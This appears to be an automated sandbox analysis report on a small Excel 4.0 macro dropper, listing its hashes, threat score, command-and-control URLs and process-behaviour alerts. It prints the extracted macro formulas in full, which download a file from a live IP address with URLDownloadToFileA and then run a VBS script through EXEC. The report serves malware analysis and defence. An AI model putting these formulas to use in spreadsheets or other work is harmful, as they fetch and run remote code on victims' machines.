General

  • Target

    a33108a179ea76de6f81090be30f4dbb

  • Size

    6KB

  • Sample

    240225-h4dtkafc71

  • MD5

    a33108a179ea76de6f81090be30f4dbb

  • SHA1

    3bfcbbaebf4acb5370639206d5cd0828893ebd90

  • SHA256

    a2e18d98da7ee75ab978e2592155bac26b5a3870e59e2627db8ebf4df64db0fd

  • SHA512

    c05eb30847ea347671276fde3b6f9bd8741c0996bbac70c7fac20d8fc648faa27676e6e6dcd3f797d30d89753ca64e24ddf9b44a220d05e544bfc3d0f1ddbf38

  • SSDEEP

    192:NDSquS9brA2OmmfRM8UhHFBFYuab98yCB+x:NZumM2w21FY3b98yCo

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://46.17.98.187/index.php

http://google.com/index.php

Attributes
  • formulas

    =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187/index.php","C:\~\pes.msi",0,0) =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://google.com/index.php","C:\~\pes.msi",0,0) =EXEC("wscript C:\zer\spp.vbs") =HALT()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

xlm40.dropper

http://google.com/index.php

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

Targets

    • Target

      a33108a179ea76de6f81090be30f4dbb

    • Size

      6KB

    • MD5

      a33108a179ea76de6f81090be30f4dbb

    • SHA1

      3bfcbbaebf4acb5370639206d5cd0828893ebd90

    • SHA256

      a2e18d98da7ee75ab978e2592155bac26b5a3870e59e2627db8ebf4df64db0fd

    • SHA512

      c05eb30847ea347671276fde3b6f9bd8741c0996bbac70c7fac20d8fc648faa27676e6e6dcd3f797d30d89753ca64e24ddf9b44a220d05e544bfc3d0f1ddbf38

    • SSDEEP

      192:NDSquS9brA2OmmfRM8UhHFBFYuab98yCB+x:NZumM2w21FY3b98yCo

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

MITRE ATT&CK Enterprise v15

Tasks